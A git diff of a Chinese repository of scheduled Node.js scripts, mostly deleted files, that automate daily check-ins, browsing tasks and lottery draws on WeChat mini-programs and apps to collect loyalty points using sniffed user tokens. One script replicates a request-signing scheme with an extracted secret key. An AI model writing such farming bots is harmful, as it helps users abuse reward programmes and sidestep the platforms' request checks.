}; - let { data: result } = await this.request(options); - if (result?.Code == '0') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `🕊签到${result.Message}🎉`); - } else { - $.log(`🌸账号[${this.index}] 签到-失败:${result.Message}❌`) - } - - - - - } - async getSignInfo() { - let options = { - method: 'GET', - url: `https://interface.skycolorful.com/api/User/IsSignV2`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "content-type": "application/json", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - } - } - let { data: result } = await this.request(options); - if (result?.Code == '0') { - //打印签到结果 - this.signStatus = result.Data.IsSign - - } else { - } - } - async getUserInfo() { - let options = { - method: 'GET', - url: `https://interface.skycolorful.com/api/User/GetUserInfo`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "content-type": "application/json", - "sec-fetch-dest": "empty", - } - } - let { data: result } = await this.request(options); - if (result?.Code == '0') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `昵称:${result.Data.NickName}` + `积分:${result.Data.Point}`) - } - } -} - - - - - - - - - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout: 3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) { } - -} diff --git a/daily/fsdlb.js b/daily/fsdlb.js deleted file mode 100644 index 3d507dda..00000000 --- a/daily/fsdlb.js +++ /dev/null @@ -1,134 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: fsdlb 微信小程序逢三得利吧 签到积分 -cron: 30 9 * * * ------------------------------------------- -#Notice: -https://xiaodian.miyatech.com 小程序逢三得利吧签到积分,使用前请先获取token,方法如下: -打开微信,进入逢三得利吧小程序,点击右下角“我的”, -打开抓包软件抓取https://xiaodian.miyatech.com 请求头的Authorization -抓取到的Authorization值即为token,去掉前面的"bearer ",将剩余部分作为token使用。 - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("逢三得利吧小程序"); -let ckName = `fsdlb`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = "bearer " + this.user[0]; - - } - - async run() { - await this.info() - await this.signIn() - } - - async signIn() { - let options = { - method: 'POST', - url: `https://xiaodian.miyatech.com/api/coupon/auth/signIn`, - headers: { - "X-VERSION": "2.1.3", - "Authorization": `${this.token}`, - "HH-VERSION": "0.2.8", - "HH-FROM": "20230130307725", - "HH-APP": "wxb33ed03c6c715482", - "HH-CI": "saas-wechat-app", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36", - }, - data: { - "miniappId": 159 - } - } - let { data: result } = await axios.request(options) - if (result?.code == 200) { - //打印签到结果 - $.log(`🕊账号[${this.index}] 签到成功:[${result.data.integralToastText}]🎉`); - } else { - $.log(`🕊账号[${this.index}] 签到失败:${result.msg}🚫`) - } - - - - - } - async info() { - let options = { - method: 'GET', - url: `https://xiaodian.miyatech.com/api/user/auth/member/integral/union/flow/list?pageNo=1&pageSize=10&dataType=SCORE`, - headers: { - "X-VERSION": "2.1.3", - "Authorization": `${this.token}`, - "HH-VERSION": "0.2.8", - "HH-FROM": "20230130307725", - "HH-APP": "wxb33ed03c6c715482", - "HH-CI": "saas-wechat-app", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36", - }, - - } - let { data: result } = await axios.request(options) - if (result?.code == 200) { - $.log(`🕊账号[${this.index}] 查询成功:总积分[${result.data.totalScore}]🎉`); - - } else { - $.log(`🕊账号[${this.index}] 查询失败:${result.msg}🚫`) - } - } - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} \ No newline at end of file diff --git a/daily/guyu.js b/daily/guyu.js deleted file mode 100644 index 5f3ca3b6..00000000 --- a/daily/guyu.js +++ /dev/null @@ -1,186 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 谷雨小程序 换化妆品 -cron: 30 11 * * * ------------------------------------------- -#Notice: -抓取token方法: -https://mall-mobile-v6.vecrp.com/mobile 请求头的token -多账户&或换行 -变量名:gy - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { - Env -} = require("../tools/env") -const $ = new Env("谷雨小程序"); -let ckName = `guyu`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - - } - - async run() { - await this.getUserPoints() - await this.signIn() - } - sha1(str) { - return require("crypto").createHash("sha1").update(str).digest("hex"); - } - request(options) { - - var sign, - n = void 0 - , d = {}, - l = "R6WbJ830wNsEdjH9GumwKYiYxHz0K9QD", - n = (new Date).getTime(), - n = '1775622877751' - d = "post" === options.method || "POST" === options.method ? { - body: JSON.stringify(options.data), - secretKey: l, - ts: n - } : Object.assign({}, options.params, { - secretKey: l, - ts: n - }), - sign = this.sha1(function (e) { - var t, a = []; - for (t in e) { - var r = t + e[t]; - a.push(r) - } - a.sort(); - var u = ""; - return a.map((function (e) { - "" === u ? u = e : u += e - } - )), - u - }(d)) - let baseHeaders = { - host: "mall-mobile-v6.vecrp.com", - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "appid": "wxda948f3be0afc375", - "content-type": "application/json;charset=UTF-8", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027", - "sign": "" + sign, - "starttime": "" + n, - "token": "" + this.token, - "ts": "" + n, - "x-tracedid": "" + $.uuid(), - "xweb_xhr": "1", - "Referer": "https://servicewechat.com/wxda948f3be0afc375/65/page-frame.html", - } - options.headers = Object.assign(options.headers, baseHeaders) - return axios.request(options) - } - async signIn() { - let options = { - method: 'POST', - url: `https://mall-mobile-v6.vecrp.com/mobile/activity/sign/sign`, - - headers: {}, - data: { - activityId: 'cdd30467-abb8-4944-8941-2879aa950a86', - shopId: '100186753', - signDate: new Date, - mtParticipateId: '' - } - - }; - let { - data: result - } = await this.request(options); - - if (result?.success) { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `签到成功`); - } else { - $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) - } - - - - - } - async getUserPoints() { - let options = { - method: 'GET', - url: `https://mall-mobile-v6.vecrp.com/mobile/customer/getMyAllPoint`, - params: { - shopId: '100186753' - }, - headers: {}, - - } - let { - data: result - } = await this.request(options); - if (result?.success) { - $.log(`账号[${this.index}]` + `积分:${result.result[0].score}`); - } else { - $.log(`账号[${this.index}] 获取积分-失败:${result.msg}❌`) - } - } - - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout: 3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) { } - -} diff --git a/daily/gyjj.js b/daily/gyjj.js deleted file mode 100644 index 6ee71747..00000000 --- a/daily/gyjj.js +++ /dev/null @@ -1,137 +0,0 @@ - - -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 国乐酱酒小程序 -cron: 30 9 * * * ------------------------------------------- -#Notice: -变量名:gyjj -国乐酱酒小程序签到,使用前请先获取token,方法如下: -打开微信,进入国乐酱酒小程序,点击右下角“我的”, -打开抓包软件抓取https://member.guoyuejiu.com/api/sign/daily/sign 请求头的Authorization -抓取到的Authorization值即为token -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("国乐酱酒"); -let ckName = `gyjj`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - - } - - async run() { - - await this.sign() - await this.account() - } - - async sign() { - try { - - let options = { - method: 'get', - url: `https://member.guoyuejiu.com/api/sign/daily/sign`, - headers: { - "Authorization": this.token, - "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN', - "Referer": "https://servicewechat.com/wxeff120e4d11594c0/85/page-frame.html" - }, - - } - let { data: result } = await axios.request(options) - if (result?.code == 0) { - //打印签到结果 - $.log(`🕊账号[${this.index}] 签到成功:签到[${result.data.spanSumDays}]天🎉`); - this.mist = result.data.spanSumDays - } else { - $.log(`🕊账号[${this.index}] 签到失败:${result.message}⛔`) - } - } catch (e) { - console.log(e); - } - } - - // - async account() { - try { - let options = { - method: 'get', - url: `https://member.guoyuejiu.com/api/user/info`, - headers: { - "Authorization": this.token, - "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN', - "Referer": "https://servicewechat.com/wxeff120e4d11594c0/85/page-frame.html" - } - - - } - let { data: result } = await axios.request(options) - if (result?.code == 0) { - //打印签到结果 - $.log(`🕊账号[${this.index}] 查询成功:总积分[${result.data.score}]🎉`); - - } else { - $.log(`🕊账号[${this.index}] 查询失败:${result.message}🚫`) - } - } catch (e) { - console.log(e); - } - } - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} \ No newline at end of file diff --git a/daily/haitian.js b/daily/haitian.js deleted file mode 100644 index 329ecf41..00000000 --- a/daily/haitian.js +++ /dev/null @@ -1,271 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 海天美味馆小程序 -cron: 30 11 * * * ------------------------------------------- -#Notice: -抓取https://cmallapi.xkmm.cn请求头的authorization和uuid参数,填入环境变量,格式如下: -authorization#uuid 多账号&或换行 - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("海天美味馆小程序"); -let ckName = `haitian`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - this.activity_code = ""; - this.userFlag = false; - this.headers = {}; - this.uuid = this.user[1] - this.headers = { - "Connection": "keep-alive", - "envVersion": "release", - "content-type": "application/json", - "Authorization": "" + this.token, - "uuid": "" + this.uuid, - "Accept-Encoding": "gzip,compress,br,deflate", - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x1800462d) NetType/WIFI Language/zh_CN", - "Referer": "https://servicewechat.com/wx7a890ea13f50d7b6/765/page-frame.html" - } - } - - async run() { - - await this.getUserInfo() - - if (this.userFlag) { - await this.task_1() - - await this.task_2() - await this.getSignActivity() - - if (this.activity_code) { - await this.signIn() - await this.getLotteryTaskList() - await this.getLotteryNum() - } - } - } - async getUserInfo() { - let options = { - method: 'GET', - url: `https://cmallapi.xkmm.cn/buyer-api/members`, - headers: this.headers - } - let { data: result } = await axios.request(options); - if (result?.member_id) { - $.log(`🌸账号[${this.index}] [${result.member_id}][${result.mobile}] 当前积分[${result.consum_point}]` + `🎉`); - this.userFlag = true; - } else { - $.log(`🌸账号[${this.index}] 查询-失败:${JSON.stringify(result)}❌`) - } - } - async getSignActivity() { - let options = { - method: 'GET', - url: `https://cmallapi.xkmm.cn/buyer-api/sign/activity/code?activityCode=`, - headers: this.headers - } - let { data: result } = await axios.request(options); - if (result?.activity_code) { - $.log(`获取活动信息成功,活动ID:${result.activity_code}`) - this.activity_code = result.activity_code - } - else { - $.log(`获取活动信息失败:${JSON.stringify(result)}❌`) - } - } - async signIn() { - try { - let options = { - url: `https://cmallapi.xkmm.cn/buyer-api/sign/activity/sign`, - method: "POST", - headers: this.headers, - data: JSON.stringify({ "activity_code": this.activity_code, "fill_date": "" }) - } - let { data: result } = await axios.request(options) - if (result.is_sign == true) { - $.log(`签到成功`) - } else { - $.log(`签到失败 [${result.message}]`) - } - } catch (e) { - $.log(`签到失败 [${JSON.stringify(e.message)}]`) - } - - - } - //浏览页面 - async task_1() { - let options = { - url: `https://cmallapi.xkmm.cn/buyer-api/members/browsePage`, - method: "POST", - headers: this.headers, - data: JSON.stringify({}) - } - let { data: result } = await axios.request(options) - if (result?.code == 200) { - $.log(`浏览界面 操作成功`) - } else { - $.log(`浏览界面 操作失败[${JSON.stringify(result)}]`) - } - - } - //浏览社区 - async task_2() { - let options = { - url: `https://cmallapi.xkmm.cn/buyer-api/members/commnity/brosing/duration/add?seconds=10`, - method: "POST", - headers: this.headers, - data: JSON.stringify({}) - } - let { data: result } = await axios.request(options) - if (result?.statusCode == 200) { - $.log(`浏览社区 操作成功`) - } else { - $.log(`浏览社区 操作失败 貌似是正常的 [${result}]`) - } - } - async doLottery() { - let options = { - method: 'GET', - url: `https://cmallapi.xkmm.cn/buyer-api/lucky/activity/extract?activityCode=jfcj${this.activity_code}`, - headers: this.headers - } - let { data: result } = await axios.request(options); - if (result?.lucky_record_vo) { - $.log(`🌸账号[${this.index}]` + `🕊抽奖结果:${result.lucky_record_vo.prize_name}🎉`); - } else { - $.log(`🌸账号[${this.index}] 抽奖-失败:${JSON.stringify(result)}❌`) - } - } - async getLotteryTaskList() { - let options = { - method: 'GET', - url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/package/jfcj${this.activity_code}`, - headers: this.headers - } - let { data: result } = await axios.request(options); - if (result?.member_id) { - $.log(`🌸账号[${this.index}]` + `🕊抽奖次数任务🎉`); - for (let task of result.task_list) { - if (task.today_available_task_number >= 1 && task.today_obtained_task_number < task.today_available_task_number) { - - if (task.task_key == "LOGIN") { - $.log(`🌸账号[${this.index}]` + `🕊正在完成任务:${task.task_name}🎉`); - - let options = { - url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/getLoginOpporturnity/jfcj${this.activity_code}`, - method: "PUT", - headers: this.headers, - data: JSON.stringify({}) - } - let { data: result } = await axios.request(options) - $.log(result) - } - if (task.task_key == "SHARE") { - - } - if (task.task_key == "BROWSE_PAGE_TASK") { - $.log(`🌸账号[${this.index}]` + `🕊正在完成任务:${task.task_name}🎉`); - - await this.lotteryTaskBrowser(task.link) - - } - } - } - } else { - $.log(`🌸账号[${this.index}] 抽奖次数任务-失败:${JSON.stringify(result)}❌`) - } - } - async lotteryTaskBrowser(link) { - let optionsStart = { - url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/browse/page/start/jfcj${this.activity_code}?pageUrl=${link}`, - method: "GET", - headers: this.headers - } - await axios.request(optionsStart) - await $.wait(20 * 1000) - let optionsEnd = { - url: `https://cmallapi.xkmm.cn/buyer-api/lucky/task/browse/page/end/jfcj${this.activity_code}?pageUrl=${link}`, - method: "GET", - headers: this.headers - } - await axios.request(optionsEnd) - } - async getLotteryNum() { - let options = { - url: `https://cmallapi.xkmm.cn/buyer-api/lucky/activity/opporturnity?activityCode=jfcj${this.activity_code}`, - method: "GET", - headers: this.headers - } - let { data: result } = await axios.request(options) - if (result.can_use > 0) { - $.log(`当前剩余抽奖次数:${result.can_use}`) - for (let can = 0; can < result.can_use; can++) { - await this.doLottery() - } - } else { - $.log(`当前剩余抽奖次数0`) - } - - } - - - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} \ No newline at end of file diff --git a/daily/hezj.js b/daily/hezj.js deleted file mode 100644 index a091ddc2..00000000 --- a/daily/hezj.js +++ /dev/null @@ -1,142 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 海尔智家 -cron: 30 7 * * * ------------------------------------------- -#Notice: -变量名hezj -抓取https://zjrs.haier.net请求头accounttoken 多账户&或换行 - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("海尔智家"); -let ckName = `hezj`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - - } - request(options) { - let baseHeaers = { - "host": "zj.haier.net", - "content-type": "application/json", - "accounttoken": this.token, - "appid": "MB-UZHSH-0001", - "accept": "*/*", - "sec-fetch-site": "same-site", - "appversion": "10.18.0", - //"clientid": "5D6FD623-11A7-4B62-88AD-D3D62D07B72F", - "accept-language": "zh-CN,zh-Hans;q=0.9", - "accept-encoding": "gzip, deflate, br", - "sec-fetch-mode": "cors", - "origin": "https://zjrs.haier.net", - "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Hainer/Haier Simulation/Nebula App/Uplus Nebula mPaaSClient", - "referer": "https://zjrs.haier.net/", - "sec-fetch-dest": "empty" - } - options.headers = Object.assign(baseHeaers, options.headers) - return axios.request(options) - } - - async run() { - - await this.pointInfo() - await this.signIn() - } - async pointInfo() { - let options = { - method: 'POST', - url: `https://zj.haier.net/zjapi/zjBaseServer/signDetail/getUserPointsAndWallet`, - headers: {}, - data: { - - } - }; - let { data: result } = await this.request(options); - - if (result.retCode == '00000') { - $.log(`海贝:${result.data.haiBeiTotal}`) - $.log(`红包:${result.data.wallet}`) - } else { - $.log(`查询余额失败: ${result.retInfo}`) - } - } - - async signIn() { - let options = { - method: 'POST', - url: `https://zj.haier.net/api-gw/zjBaseServer/daily/sign`, - headers: {}, - data: { - - } - }; - let { data: result } = await this.request(options); - if (result?.retCode == '00000') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.data.totalSignDay}天🎉`); - } else { - $.log(`🌸账号[${this.index}] 签到-失败:${result.retInfo}❌`) - } - - - - - } - - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} diff --git a/daily/hyjk.js b/daily/hyjk.js index 47e7719b..fe962b11 100644 --- a/daily/hyjk.js +++ b/daily/hyjk.js @@ -113,6 +113,10 @@ class Task { this.treeId = Number(result.result.treeId) this.userId = result.result.userId this.headers.userid = String(this.userId || "") + + //果园打卡领水滴 + await this.getfreeFruitSignInfo() + this.todayFullWaterTaskId = Number(result?.result?.todayFullWaterTaskId || 0) for (let i = 0; i < Math.floor(Number(result.result.kettleWater) / 10); i++) { await $.wait(3000) @@ -122,6 +126,47 @@ class Task { $.log(`[账号${this.index}] 查询失败[${result.msg}]`); } } + + async getfreeFruitSignInfo() { + let options = { + method: 'POST', + url: `https://tuan.api.ybm100.com/miniapp/marketing/signActivity/signRecord`, + headers: this.headers, + data: { + "sceneId": 6, + "channelCode": "" + } + }; + let { data: result } = await axios.request(options); + if (result.code == 0) { + const isSigned = result?.result?.todaySignStatusDesc === "已签到"; + $.log(`[账号${this.index}] 果园今日打卡: ${isSigned ? "已打卡" : "未打卡"}`) + if (!isSigned) { + await this.doFreeFruitSign() + } + } else { + $.log(`[账号${this.index}] 获取签到状态失败[${result.msg}]`); + } + } + + async doFreeFruitSign() { + let options = { + method: 'POST', + url: `https://tuan.api.ybm100.com/miniapp/marketing/signActivity/sign`, + headers: this.headers, + data: { + "sceneId": 6, + "channelCode": "" + } + }; + let { data: result } = await axios.request(options); + if (result?.code == '0') { + $.log(`[账号${this.index}] 签到成功[${result.msg}]`); + } else { + $.log(`[账号${this.index}] 签到失败:${result.msg}`) + } + } + async doWater() { try { let data = { "channelCode": this.channelCode, "treeId": this.treeId, "nonce": $.randomString(6) } @@ -639,20 +684,20 @@ class Task { }); async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } } diff --git a/daily/iqoo.js b/daily/iqoo.js deleted file mode 100644 index 060216d6..00000000 --- a/daily/iqoo.js +++ /dev/null @@ -1,316 +0,0 @@ - -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: IQOO社区小程序 积分脚本 -cron: 30 8 * * * ------------------------------------------- -#Notice: -变量名iqoo -抓取方法:https://bbs-api.iqoo.com请求头authorization 去掉Bearer -多账户&或换行 - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("iqoo社区"); -let ckName = `iqoo`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like 